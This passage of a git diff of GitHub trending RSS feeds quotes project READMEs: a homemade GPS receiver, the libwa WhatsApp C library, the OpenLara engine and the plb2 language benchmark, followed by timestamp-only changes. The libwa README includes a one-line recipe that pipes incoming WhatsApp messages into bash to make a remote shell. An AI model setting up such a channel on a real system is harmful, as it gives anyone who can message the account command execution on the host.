power supply of U5 is reversed in the PCB design.</p> <h3>Result</h3> <p>The final success takes several weekends for trouble shooting. The most significant problem is cause by the interference of the 24.552 MHz system clock generator. Originally I was using a Si5351โ€™s programmed output as the system clock, however it generates a bunch of tones within the bandwidth of sensitive GPS antenna. Since it is hard to find any crystal works at this frequency, a final solution is done by the decapping a 24.576 MHz crystal and modifying the frequency by a sharpie pen. It is also frequency stabilised through external temperature controller.</p> <p>It usually takes several minutes to lock to a satellite. A digital voltage meter is added to the RSSI output of the SA615 for monitoring the signal strength. The background noise gives a RSSI output around 2 V and gives a reading between 2.3 to 3 V when it is locked to a satellite. I use another GPS receiver to determine the SVID of the satellite I could find.</p> <img width="500" alt="Pasted Graphic 14" src="https://github.com/leaningktower/Analog-GPS-data-receiver/assets/17516571/d5704f1b-9002-4e4e-974f-ccb2223af5e5"> <p>The GPS signal at the 2nd IF monitoring port, which shows the demodulated GPS signal recovered from the thermal noise background.</p> <img width="500" alt="Pasted Graphic 13" src="https://github.com/leaningktower/Analog-GPS-data-receiver/assets/17516571/46aa5be1-0261-4078-9be5-002186c9cc55"> <p>The NAV data output (yellow) and quadrature detector output (cyan) of the GPS data receiver.</p> <hr> <p>References:</p> <p>[1] GPS/GLONASS receiver by Matjaลพ Vidmar, S53MV; <a href="https://lea.hamradio.si/~s53mv/navsats/theory.html">https://lea.hamradio.si/~s53mv/navsats/theory.html</a></p> <p>[2] Homemade GPS Receiver by Andrew Holme; <a href="http://www.aholme.co.uk/GPS/Main.htm">http://www.aholme.co.uk/GPS/Main.htm</a></p> <p>[3] PRINCIPLES OF GPS RECEIVERS - A HARDWARE APPROACH by Dan Doberstein; <a href="http://www.dkdinst.com/gpstxt.html">http://www.dkdinst.com/gpstxt.html</a></p> + rodarima/libwa + 2024-01-06T01:27:08Z + tag:github.com,2024-01-06:/rodarima/libwa + + <p>WhatsApp C library</p><hr><h2>WhatsApp C library</h2> <p>A fast and lightweight C library to connect to WhatsApp. Requires a phone with a working version and connected to the internet, similarly as the web version.</p> <p>The following libraries are required:</p> <ul> <li>libwebsockets</li> <li>libqrencode</li> <li>libcrypto</li> <li>libjson-c</li> <li>libprotobuf-c</li> <li>libcrypto (OpenSSL)</li> </ul> <p>Still under HEAVY development. Pull requests are appreciated.</p> <p>Based on the great reverse engineering work of sigalor: <a href="https://github.com/sigalor/whatsapp-web-reveng">whatsapp-web-reveng</a></p> <h3>Objective</h3> <p>The library will provide a simple way to build clients. For instance a bitlbee plugin to add WhatsApp as an available protocol to IRC.</p> <h3>Current status</h3> <p>The library provides the ability to send and receive private text messages, no photos or other media are supported yet, neither group messages.</p> <p>The built-in client <code>wac</code> reads from the standard input, and sends the lines as messages to the specified recipient in the argument. The received messages are shown in the standard output. The phone should be specified in the following format:</p> <pre><code>&lt;country code&gt;&lt;phone&gt;@s.whatsapp.net </code></pre> <p>For example, the number 666666666 in Spain, would be <code>34666666666@s.whatsapp.net</code>. Some examples using the standard input:</p> <pre><code>% PHONE=34666666666@s.whatsapp.net % wac $PHONE Hi, do you read me? Yes! </code></pre> <p>It can also be piped, as any UNIX like program, for example:</p> <pre><code>% echo Hi from the command line | wac $PHONE </code></pre> <p>Or to get a remote shell:</p> <pre><code>% mkfifo fifo % wac $PHONE &lt; fifo | bash &gt; fifo </code></pre> <p><img src="https://raw.githubusercontent.com/rodarima/libwa/master/doc/test.jpg" alt="A screenshot of the test commands"></p> + + + XProger/OpenLara + 2024-01-06T01:27:08Z + tag:github.com,2024-01-06:/XProger/OpenLara + + <p>Classic Tomb Raider open-source engine</p><hr><h1>OpenLara</h1> <p>Classic Tomb Raider open-source engine</p> <p><a href="http://xproger.info/projects/OpenLara/">WebGL build with demo level</a></p> <p><a href="https://github.com/XProger/OpenLara/releases/tag/latest">Standalone version</a></p> <p><a href="https://github.com/XProger/OpenLara/issues/353">Roadmap</a></p> <p><a href="https://opensource.org/licenses/BSD-2-Clause"><img src="https://img.shields.io/badge/License-BSD%202--Clause-orange.svg?sanitize=true" alt="License"></a></p> <h2>Links</h2> <p><a href="https://twitter.com/XProger_san"><img src="https://badgen.net/badge/icon/twitter?icon=twitter&amp;label" alt="Twitter"></a> <a href="https://discord.gg/EF8JaQB"><img src="https://badgen.net/badge/icon/discord?icon=discord&amp;label" alt="Discord"></a> <a href="https://t.me/openlara"><img src="https://badgen.net/badge/icon/telegram?icon=telegram&amp;label" alt="Telegram"></a></p> <ul> <li><a href="https://www.youtube.com/c/TimurGagiev">YouTube channel</a></li> <li><a href="http://www.tombraiderforums.com/showthread.php?t=216618">Tomb Raider Forums thread</a></li> </ul> <h2>Screenshots</h2> <p><img src="http://xproger.info/projects/OpenLara/shots/waterfall.jpg" alt="Waterfall"> <img src="http://xproger.info/projects/OpenLara/shots/multi-aim.jpg" alt="Double-aim"> <img src="http://xproger.info/projects/OpenLara/shots/caustics.jpg" alt="Caustics"> <img src="http://xproger.info/projects/OpenLara/shots/cut1.jpg" alt="Cutscene"> <img src="http://xproger.info/projects/OpenLara/shots/flipmap.jpg" alt="Cistern"> <img src="http://xproger.info/projects/OpenLara/shots/tr2_opera.jpg" alt="Opera"> <img src="http://xproger.info/projects/OpenLara/shots/tr2_unwater1.jpg" alt="Unwater"> <img src="http://xproger.info/projects/OpenLara/shots/tr3_temple.jpg" alt="Temple"></p> + + + attractivechaos/plb2 + 2024-01-06T01:27:08Z + tag:github.com,2024-01-06:/attractivechaos/plb2 + + <p>A programming language benchmark</p><hr><p><strong>TL;DR</strong>: see the figure below. Note that nqueen and matmul are implemented in all languages but sudoku and bedcov are only implemented in some.</p> <img align="left" src="https://lh3.sourceforge.io/images/plb2-m1.png?v14"> <h2>Table of Contents</h2> <ul> <li><a href="https://raw.githubusercontent.com/attractivechaos/plb2/master/#intro">Introduction</a></li> <li><a href="https://raw.githubusercontent.com/attractivechaos/plb2/master/#result">Results</a> <ul> <li><a href="https://raw.githubusercontent.com/attractivechaos/plb2/master/#overall">Overall impression</a></li> <li><a href="https://raw.githubusercontent.com/attractivechaos/plb2/master/#caveat">Caveats</a> <ul> <li><a href="https://raw.githubusercontent.com/attractivechaos/plb2/master/#startup">Startup time</a></li> <li><a href="https://raw.githubusercontent.com/attractivechaos/plb2/master/#cputime">Elapsed time vs CPU time</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/attractivechaos/plb2/master/#opt">Subtle optimizations</a> <ul> <li><a href="https://raw.githubusercontent.com/attractivechaos/plb2/master/#matmul">Optimizing inner loops</a></li> <li><a href="https://raw.githubusercontent.com/attractivechaos/plb2/master/#memlayout">Controlling memory layout</a></li> </ul> </li> </ul> </li> <li><a href="https://raw.githubusercontent.com/attractivechaos/plb2/master/#conclusion">Discussions</a></li> <li><a href="https://raw.githubusercontent.com/attractivechaos/plb2/master/#table">Appendix: Timing on Apple M1 Macbook Pro</a></li> </ul> <h2><a name="intro"></a>Introduction</h2> <p>Programming Language Benchmark v2 (plb2) evaluates the performance of 24 programming languages on four CPU-intensive tasks. It is a follow-up to <a href="https://github.com/attractivechaos/plb">plb</a> conducted in 2011. In plb2, all implementations use the same algorithm for each task and their performance bottlenecks do not fall in library functions. We do not intend to compare different algorithms or the quality of the standard libraries in these languages. Plb2 aims to evaluate the performance of a language when you have to implement a new algorithm in the language - this may happen if you can't find the algorithm in existing libraries.</p> <p>The four tasks in plb2 all take a few seconds for a fast implementation to complete. The tasks are:</p> <ul> <li> <p><strong>nqueen</strong>: solving a <a href="https://en.wikipedia.org/wiki/Eight_queens_puzzle">15-queens problem</a>. The algorithm was inspired by the second C implementation <a href="https://rosettacode.org/wiki/N-queens_problem#C">from Rosetta Code</a>. It involves nested loops and integer bit operations.</p> </li> <li> <p><strong>matmul</strong>: multiplying two square matrices of 1500x1500 in size. The inner loop resembles BLAS' <a href="https://en.wikipedia.org/wiki/Basic_Linear_Algebra_Subprograms#Level_1">axpy</a> operation.</p> </li> <li> <p><strong>sudoku</strong>: solving 4000 hard <a href="https://en.wikipedia.org/wiki/Sudoku">Sudokus</a> (20 puzzles repeated for 200 times) using the <a href="https://attractivechaos.github.io/plb/kudoku.html">kudoku algorithm</a>. This algorithm heavily uses small fixed-sized arrays with a bit complex logic.</p> </li> <li> <p><strong>bedcov</strong>: finding the overlaps between two arrays of 1,000,000 intervals with <a href="https://academic.oup.com/bioinformatics/article/37/9/1315/5910546">implicit interval trees</a>. The algorithm involves frequent array access in a pattern similar to binary searches.</p> </li> </ul> <p>Every language has nqueen and matmul implementations. Some languages do not have sudoku or bedcov implementations. Most programs were initially implemented by me and a few were contributed by others. As I am mostly a C programmer, implementations in other languages may be suboptimal and there are no implementations in functional languages. <strong>Pull requests are welcomed!</strong></p> <h2><a name="result"></a>Results</h2> <p>The figure at the top of the page summarizes the elapsed time of each implementation measured on an Apple M1 MacBook Pro. <a href="https://github.com/sharkdp/hyperfine">Hyperfine</a> was used for timing except for a few slow implementations which were timed with the "time" bash command without repetition. A plus sign "+" indicates <a href="https://en.wikipedia.org/wiki/Ahead-of-time_compilation">ahead-of-time compilation</a> (AOT). Exact timing can be found in the <a href="https://raw.githubusercontent.com/attractivechaos/plb2/master/#table">table below</a>. The figure was <a href="https://raw.githubusercontent.com/attractivechaos/plb2/master/analysis">programmatically generated</a> from the table.</p> <h3><a name="overall"></a>Overall impression</h3> <p>Programming language implementations in plb2 can be classified into three groups depending on how and when compilation is done:</p> <ol> <li> <p>Purely interpreted (QuickJS, Perl and <a href="https://en.wikipedia.org/wiki/CPython">CPython</a>, the official Python implementation). Not surprisingly, these are among the slowest language implementations in this benchmark.</p> </li> <li> <p>JIT compiled (Dart, Bun/Node, Java, Julia, LuaJIT, PHP, PyPy and Ruby3 with <a href="https://github.com/ruby/ruby/raw/master/doc/yjit/yjit.md">YJIT</a>). They are generally faster than pure interpretation. Nonetheless, there is a large variance in this group. While PHP and Ruby3 are faster than Perl and CPython, they are still an order of magnitude slower than PyPy. The two JavaScript engines (Bun and Node) and Julia perform well. They are about twice as fast as PyPy.</p> </li> <li> <p>AOT compiled (the rest). Optimizing binaries for specific hardware, these compilers tend to generate the fastest executables.</p> </li> </ol> <h3><a name="caveat"></a>Caveats</h3> <h4><a name="startup"></a>Startup time</h4> <p>Some JIT-based language runtimes take up to ~0.3 second to compile and warm-up. We are not separating out this startup time. Nonetheless, because most benchmarks run for several seconds, including the startup time does not greatly affect the results.</p> <h4><a name="cputime"></a>Elapsed time vs CPU time</h4> <p>Although no implementations use multithreading, language runtimes may be doing extra work, such as garbage collection, in a separate thread. In this case, the CPU time (user plus system) may be longer than elapsed wall-clock time. Julia, in particular, takes noticeably more CPU time than wall-clock time even for the simplest nqueen benchmark. In plb2, we are measuring the elapsed wall-clock time because that is the number users often see. The ranking of CPU time may be slightly different.</p> <h3><a name="opt"></a>Subtle optimizations</h3> <h4><a name="memlayout"></a>Controlling memory layout</h4> <p>When implementing bedcov in Julia, C and many compiled languages, it is preferred to have an array of objects in a contiguous memory block such that adjacent objects are close in memory. This helps cache efficiency. In most scripting languages, unfortunately, we have to put references to objects in an array at the cost of cache locality. The issue can be alleviated by cloning objects to a new array. This doubles the speed of PyPy and Bun.</p> <h4><a name="matmul"></a>Optimizing inner loops</h4> <p>The bottleneck of matrix multiplication falls in the following nested loop:</p> <pre><code class="language-cpp">for (int i = 0; i &lt; n; ++i) for (int k = 0; k &lt; n; ++k) for (int j = 0; j &lt; n; ++j) c[i][j] += a[i][k] * b[k][j]; </code></pre> <p>It is obvious that <code>c[i]</code>, <code>b[k]</code> and <code>a[i][k]</code> can be moved out of the inner loop to reduce the frequency of matrix access. The Clang compiler can apply this optimization. Manual optimization may actually hurt performance.</p> <p>However, <strong>many other languages cannot optimize this nested loop.</strong> If we manually move <code>a[i][k]</code> to the loop above it, we can often improve their performance. Some C/C++ programmers say compilers often optimize better than human, but this might not be the case in other languages.</p> <h2><a name="conclusion"></a>Discussions</h2> <p>The most well-known and the longest running language benchmark is the <a href="https://benchmarksgame-team.pages.debian.net/benchmarksgame/index.html">Computer Language Benchmark Games</a>. Plb2 differs in that it includes different languages (e.g. Nim and Crystal), different language runtimes (e.g. PyPy and LuaJIT) and new tasks, and it comes with more uniform implementations and focuses more on the performance of the language itself without library functions. <strong>Plb2 complements the Computer Language Benchmark Games.</strong></p> <p>One important area that plb2 does not evaluate is the performance of memory allocation and/or garbage collection. This may contribute more to practical performance than generating machine code. Nonetheless, it is challenging to design a realistic micro-benchmark to evaluate memory allocation. If the built-in allocator in a language implementation does not work well, we can implement customized memory allocator just for the specific task but this, in my view, would not represent typical use cases.</p> <p>When plb was conducted in 2011, half of the languages in the figure above were not mature or even did not exist. It is exciting to see many of them have reached the 1.0 milestone and are gaining popularity among modern programmers. On the other hand, Python remains one of the two most used scripting languages despite its poor performance. In my view, this is because PyPy would not be officially endorsed while other JIT-based languages are not general or good enough. Will there be a language to displace Python in the next decade? I am not optimistic.</p> <h2><a name="table"></a>Appendix: Timing on Apple M1 Macbook Pro</h2> <p>In the following table, star "*" indicates AOT compilation and plus "+" indicates JIT compilation.</p> <table> <thead> <tr> <th align="left">Label</th> <th align="left">Language</th> <th align="left">Runtime</th> <th align="left">Version</th> <th align="right">nqueen</th> <th align="right">matmul</th> <th align="right">sudoku</th> <th align="right">bedcov</th> </tr> </thead> <tbody> <tr> <td align="left">c:clang*</td> <td align="left">C</td> <td align="left">Clang</td> <td align="left">15.0.0</td> <td align="right">2.57</td> <td align="right">0.54</td> <td align="right">1.56</td> <td align="right">0.84</td> </tr> <tr> <td align="left">cl:sbcl*</td> <td align="left">Lisp</td> <td align="left">SBCL</td> <td align="left">2.4.0</td> <td align="right">3.19</td> <td align="right">3.84</td> <td align="right"></td> <td align="right"></td> </tr> <tr> <td align="left">crystal*</td> <td align="left">Crystal</td> <td align="left"></td> <td align="left">1.10.0</td> <td align="right">3.28</td> <td align="right">2.45</td> <td align="right">3.14</td> <td align="right">0.87</td> </tr> <tr> <td align="left">c#:.net*</td> <td align="left">C#</td> <td align="left">.NET</td> <td align="left">8.0.100</td> <td align="right">2.82</td> <td align="right">1.38</td> <td align="right">3.12</td> <td align="right"></td> </tr> <tr> <td align="left">d:ldc2*</td> <td align="left">D</td> <td align="left">LDC2</td> <td align="left">2.105.2</td> <td align="right">2.68</td> <td align="right">0.57</td> <td align="right">1.60</td> <td align="right"></td> </tr> <tr> <td align="left">dart:jit+</td> <td align="left">Dart</td> <td align="left">(JIT)</td> <td align="left">3.2.4</td> <td align="right">3.62</td> <td align="right">4.81</td> <td align="right">3.24</td> <td align="right"></td> </tr> <tr> <td align="left">elixir+</td> <td align="left">Elixir</td> <td align="left"></td> <td align="left">1.15.7</td> <td align="right">26.17</td> <td align="right">67.39</td> <td align="right"></td> <td align="right"></td> </tr> <tr> <td align="left">f90:gcc*</td> <td align="left">Fortran90</td> <td align="left">GCC</td> <td align="left">13.2.0</td> <td align="right">2.67</td> <td align="right">0.51</td> <td align="right">1.84</td> <td align="right"></td> </tr> <tr> <td align="left">go*</td> <td align="left">Go</td> <td align="left"></td> <td align="left">1.21.5</td> <td align="right">2.94</td> <td align="right">1.63</td> <td align="right">2.04</td> <td align="right"></td> </tr> <tr> <td align="left">java+</td> <td align="left">Java</td> <td align="left">OpenJDK</td> <td align="left">20.0.1</td> <td align="right">3.92</td> <td align="right">1.14</td> <td align="right">3.20</td> <td align="right"></td> </tr> <tr> <td align="left">js:bun+</td> <td align="left">JavaScript</td> <td align="left">Bun</td> <td align="left">1.0.20</td> <td align="right">3.11</td> <td align="right">1.75</td> <td align="right">3.07</td> <td align="right">2.83</td> </tr> <tr> <td align="left">js:deno+</td> <td align="left">JavaScript</td> <td align="left">Deno</td> <td align="left">1.39.1</td> <td align="right">4.00</td> <td align="right">3.06</td> <td align="right">4.04</td> <td align="right">3.87</td> </tr> <tr> <td align="left">js:k8+</td> <td align="left">JavaScript</td> <td align="left">k8</td> <td align="left">1.0</td> <td align="right">3.79</td> <td align="right">2.99</td> <td align="right">3.76</td> <td align="right">4.02</td> </tr> <tr> <td align="left">js:node+</td> <td align="left">JavaScript</td> <td align="left">Node</td> <td align="left">21.5.0</td> <td align="right">3.73</td> <td align="right">2.88</td> <td align="right">3.77</td> <td align="right">3.83</td> </tr> <tr> <td align="left">js:node</td> <td align="left">JavaScript</td> <td align="left">Node-nojit</td> <td align="left">21.5.0</td> <td align="right">55.48</td> <td align="right">162.84</td> <td align="right">63.91</td> <td align="right">21.61</td> </tr> <tr> <td align="left">js:qjs</td> <td align="left">JavaScript</td> <td align="left">QuickJS</td> <td align="left">23-12-09</td> <td align="right">59.04</td> <td align="right">135.66</td> <td align="right">67.55</td> <td align="right">38.27</td> </tr> <tr> <td align="left">julia+</td> <td align="left">Julia</td> <td align="left"></td> <td align="left">1.10.0</td> <td align="right">3.02</td> <td align="right">0.76</td> <td align="right">2.35</td> <td align="right">1.96</td> </tr> <tr> <td align="left">luajit+</td> <td align="left">Lua</td> <td align="left">LuaJIT</td> <td align="left">2.1</td> <td align="right">5.31</td> <td align="right">2.66</td> <td align="right">4.48</td> <td align="right">10.59</td> </tr> <tr> <td align="left">mojo*</td> <td align="left">Mojo</td> <td align="left"></td> <td align="left">0.6.1</td> <td align="right">3.24</td> <td align="right">1.12</td> <td align="right"></td> <td align="right"></td> </tr> <tr> <td align="left">nim*</td> <td align="left">Nim</td> <td align="left"></td> <td align="left">2.0.2</td> <td align="right">2.57</td> <td align="right">0.56</td> <td align="right">1.64</td> <td align="right">1.07</td> </tr> <tr> <td align="left">ocaml*</td> <td align="left">OCaml</td> <td align="left"></td> <td align="left">4.14.1</td> <td align="right">3.56</td> <td align="right">2.14</td> <td align="right"></td> <td align="right"></td> </tr> <tr> <td align="left">perl</td> <td align="left">Perl</td> <td align="left"></td> <td align="left">5.34.1</td> <td align="right">158.34</td> <td align="right">158.01</td> <td align="right">90.78</td> <td align="right"></td> </tr> <tr> <td align="left">php+</td> <td align="left">PHP</td> <td align="left"></td> <td align="left">8.3</td> <td align="right">48.15</td> <td align="right">71.20</td> <td align="right"></td> <td align="right"></td> </tr> <tr> <td align="left">py:pypy+</td> <td align="left">Python</td> <td align="left">Pypy</td> <td align="left">7.3.14</td> <td align="right">6.91</td> <td align="right">4.95</td> <td align="right">8.82</td> <td align="right">6.27</td> </tr> <tr> <td align="left">py:cpy</td> <td align="left">Python</td> <td align="left">CPython</td> <td align="left">3.11.7</td> <td align="right">159.97</td> <td align="right">223.66</td> <td align="right">52.88</td> <td align="right">42.84</td> </tr> <tr> <td align="left">ruby+</td> <td align="left">Ruby</td> <td align="left">(YJIT)</td> <td align="left">3.3.0</td> <td align="right">88.15</td> <td align="right">130.51</td> <td align="right">52.26</td> <td align="right"></td> </tr> <tr> <td align="left">rust*</td> <td align="left">Rust</td> <td align="left"></td> <td align="left">1.75.0</td> <td align="right">2.49</td> <td align="right">0.56</td> <td align="right">1.65</td> <td align="right">0.94</td> </tr> <tr> <td align="left">swift*</td> <td align="left">Swift</td> <td align="left"></td> <td align="left">5.9.0</td> <td align="right">2.92</td> <td align="right">0.56</td> <td align="right">1.78</td> <td align="right"></td> </tr> <tr> <td align="left">v*</td> <td align="left">V</td> <td align="left"></td> <td align="left">0.4.3</td> <td align="right">2.55</td> <td align="right">0.57</td> <td align="right">1.66</td> <td align="right">1.23</td> </tr> <tr> <td align="left">zig*</td> <td align="left">Zig</td> <td align="left"></td> <td align="left">0.11.0</td> <td align="right">2.72</td> <td align="right">0.56</td> <td align="right"></td> <td align="right"></td> </tr> </tbody> </table> \ No newline at end of file diff --git a/c2hs-haskell/daily/index.xml b/c2hs-haskell/daily/index.xml index 1ff11c23526..6ec2ea3b810 100644 --- a/c2hs-haskell/daily/index.xml +++ b/c2hs-haskell/daily/index.xml @@ -1,7 +1,7 @@ GitHub C2hs Haskell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:43Z + 2024-01-06T01:27:35Z Daily Trending of C2hs Haskell in GitHub \ No newline at end of file diff --git a/cabal-config/daily/index.xml b/cabal-config/daily/index.xml index a9def164888..078abbe9071 100644 --- a/cabal-config/daily/index.xml +++ b/cabal-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cabal Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:42Z + 2024-01-06T01:27:34Z Daily Trending of Cabal Config in GitHub \ No newline at end of file diff --git a/cadence/daily/index.xml b/cadence/daily/index.xml index 2773d00a597..2cc19215a9c 100644 --- a/cadence/daily/index.xml +++ b/cadence/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cadence Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:58Z + 2024-01-06T01:27:57Z Daily Trending of Cadence in GitHub \ No newline at end of file diff --git a/cairo/daily/index.xml b/cairo/daily/index.xml index 6adcf630399..555caca9eb4 100644 --- a/cairo/daily/index.xml +++ b/cairo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cairo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:59Z + 2024-01-06T01:27:56Z Daily Trending of Cairo in GitHub \ No newline at end of file diff --git a/cap'n-proto/daily/index.xml b/cap'n-proto/daily/index.xml index becfd87567d..7bf56a3343b 100644 --- a/cap'n-proto/daily/index.xml +++ b/cap'n-proto/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cap'n Proto Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:02Z + 2024-01-06T01:28:01Z Daily Trending of Cap'n Proto in GitHub \ No newline at end of file diff --git a/cartocss/daily/index.xml b/cartocss/daily/index.xml index cd5abc12026..23145267027 100644 --- a/cartocss/daily/index.xml +++ b/cartocss/daily/index.xml @@ -1,7 +1,7 @@ GitHub CartoCSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:01Z + 2024-01-06T01:27:59Z Daily Trending of CartoCSS in GitHub \ No newline at end of file diff --git a/ceylon/daily/index.xml b/ceylon/daily/index.xml index fdd4ca9a094..dc184ce2a16 100644 --- a/ceylon/daily/index.xml +++ b/ceylon/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ceylon Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:03Z + 2024-01-06T01:28:01Z Daily Trending of Ceylon in GitHub \ No newline at end of file diff --git a/chapel/daily/index.xml b/chapel/daily/index.xml index 27228d9818e..7210108b717 100644 --- a/chapel/daily/index.xml +++ b/chapel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Chapel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:00Z + 2024-01-06T01:28:02Z Daily Trending of Chapel in GitHub \ No newline at end of file diff --git a/charity/daily/index.xml b/charity/daily/index.xml index cfe2bd9338f..8d622632eb8 100644 --- a/charity/daily/index.xml +++ b/charity/daily/index.xml @@ -1,7 +1,7 @@ GitHub Charity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:06Z + 2024-01-06T01:28:03Z Daily Trending of Charity in GitHub \ No newline at end of file diff --git a/chuck/daily/index.xml b/chuck/daily/index.xml index 5c4047f4b0f..9ea32ccc2be 100644 --- a/chuck/daily/index.xml +++ b/chuck/daily/index.xml @@ -1,7 +1,7 @@ GitHub ChucK Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:05Z + 2024-01-06T01:28:05Z Daily Trending of ChucK in GitHub \ No newline at end of file diff --git a/cil/daily/index.xml b/cil/daily/index.xml index 9ea1a5417a1..d3b019dfcb1 100644 --- a/cil/daily/index.xml +++ b/cil/daily/index.xml @@ -1,7 +1,7 @@ GitHub CIL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:04Z + 2024-01-06T01:28:04Z Daily Trending of CIL in GitHub \ No newline at end of file diff --git a/cirru/daily/index.xml b/cirru/daily/index.xml index 6610c123a63..3ee05ec4813 100644 --- a/cirru/daily/index.xml +++ b/cirru/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cirru Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:09Z + 2024-01-06T01:28:08Z Daily Trending of Cirru in GitHub \ No newline at end of file diff --git a/clarion/daily/index.xml b/clarion/daily/index.xml index 1b30d91227a..3bca223de59 100644 --- a/clarion/daily/index.xml +++ b/clarion/daily/index.xml @@ -1,7 +1,7 @@ GitHub Clarion Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:11Z + 2024-01-06T01:28:07Z Daily Trending of Clarion in GitHub \ No newline at end of file diff --git a/clarity/daily/index.xml b/clarity/daily/index.xml index 5542e2539aa..28cfb984817 100644 --- a/clarity/daily/index.xml +++ b/clarity/daily/index.xml @@ -1,7 +1,7 @@ GitHub Clarity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:10Z + 2024-01-06T01:28:11Z Daily Trending of Clarity in GitHub \ No newline at end of file diff --git a/classic-asp/daily/index.xml b/classic-asp/daily/index.xml index 5920ca9fdc6..76eecb0d7e1 100644 --- a/classic-asp/daily/index.xml +++ b/classic-asp/daily/index.xml @@ -1,7 +1,7 @@ GitHub Classic ASP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:13Z + 2024-01-06T01:28:14Z Daily Trending of Classic ASP in GitHub \ No newline at end of file diff --git a/clean/daily/index.xml b/clean/daily/index.xml index 7cd08ec132f..3c142a0573b 100644 --- a/clean/daily/index.xml +++ b/clean/daily/index.xml @@ -1,7 +1,7 @@ GitHub Clean Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:14Z + 2024-01-06T01:28:13Z Daily Trending of Clean in GitHub \ No newline at end of file diff --git a/click/daily/index.xml b/click/daily/index.xml index 6c20b691e95..6076d1be3d7 100644 --- a/click/daily/index.xml +++ b/click/daily/index.xml @@ -1,7 +1,7 @@ GitHub Click Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:12Z + 2024-01-06T01:28:17Z Daily Trending of Click in GitHub \ No newline at end of file diff --git a/clips/daily/index.xml b/clips/daily/index.xml index 4ea0ae88db9..af611e5e1be 100644 --- a/clips/daily/index.xml +++ b/clips/daily/index.xml @@ -1,7 +1,7 @@ GitHub CLIPS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:15Z + 2024-01-06T01:28:16Z Daily Trending of CLIPS in GitHub \ No newline at end of file diff --git a/clojure/daily/index.xml b/clojure/daily/index.xml index bdccfee1a57..2602aa55833 100644 --- a/clojure/daily/index.xml +++ b/clojure/daily/index.xml @@ -1,7 +1,7 @@ GitHub Clojure Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:22Z + 2024-01-06T01:28:23Z Daily Trending of Clojure in GitHub \ No newline at end of file diff --git a/closure-templates/daily/index.xml b/closure-templates/daily/index.xml index bb35f74d991..230b098f758 100644 --- a/closure-templates/daily/index.xml +++ b/closure-templates/daily/index.xml @@ -1,7 +1,7 @@ GitHub Closure Templates Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:17Z + 2024-01-06T01:28:20Z Daily Trending of Closure Templates in GitHub \ No newline at end of file diff --git a/cloud-firestore-security-rules/daily/index.xml b/cloud-firestore-security-rules/daily/index.xml index 31e9693375b..df3fc9ac3f0 100644 --- a/cloud-firestore-security-rules/daily/index.xml +++ b/cloud-firestore-security-rules/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cloud Firestore Security Rules Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:16Z + 2024-01-06T01:28:21Z Daily Trending of Cloud Firestore Security Rules in GitHub \ No newline at end of file diff --git a/cmake/daily/index.xml b/cmake/daily/index.xml index ae4b19d1ef7..e2ada9cb339 100644 --- a/cmake/daily/index.xml +++ b/cmake/daily/index.xml @@ -1,7 +1,7 @@ GitHub CMake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:20Z + 2024-01-06T01:28:27Z Daily Trending of CMake in GitHub \ No newline at end of file diff --git a/cobol/daily/index.xml b/cobol/daily/index.xml index 1278c845934..bf00c409cf2 100644 --- a/cobol/daily/index.xml +++ b/cobol/daily/index.xml @@ -1,7 +1,7 @@ GitHub COBOL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:23Z + 2024-01-06T01:28:29Z Daily Trending of COBOL in GitHub \ No newline at end of file diff --git a/codeowners/daily/index.xml b/codeowners/daily/index.xml index 360e1c8457e..9805f9e7807 100644 --- a/codeowners/daily/index.xml +++ b/codeowners/daily/index.xml @@ -1,7 +1,7 @@ GitHub CODEOWNERS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:25Z + 2024-01-06T01:28:30Z Daily Trending of CODEOWNERS in GitHub \ No newline at end of file diff --git a/codeql/daily/index.xml b/codeql/daily/index.xml index ea679d68b6d..b603fc8909e 100644 --- a/codeql/daily/index.xml +++ b/codeql/daily/index.xml @@ -1,7 +1,7 @@ GitHub CodeQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:24Z + 2024-01-06T01:28:28Z Daily Trending of CodeQL in GitHub \ No newline at end of file diff --git a/coffeescript/daily/index.xml b/coffeescript/daily/index.xml index f99e2b603fb..84038904e9c 100644 --- a/coffeescript/daily/index.xml +++ b/coffeescript/daily/index.xml @@ -1,21 +1,21 @@ GitHub CoffeeScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:29:27Z + 2024-01-06T01:28:32Z Daily Trending of CoffeeScript in GitHub - 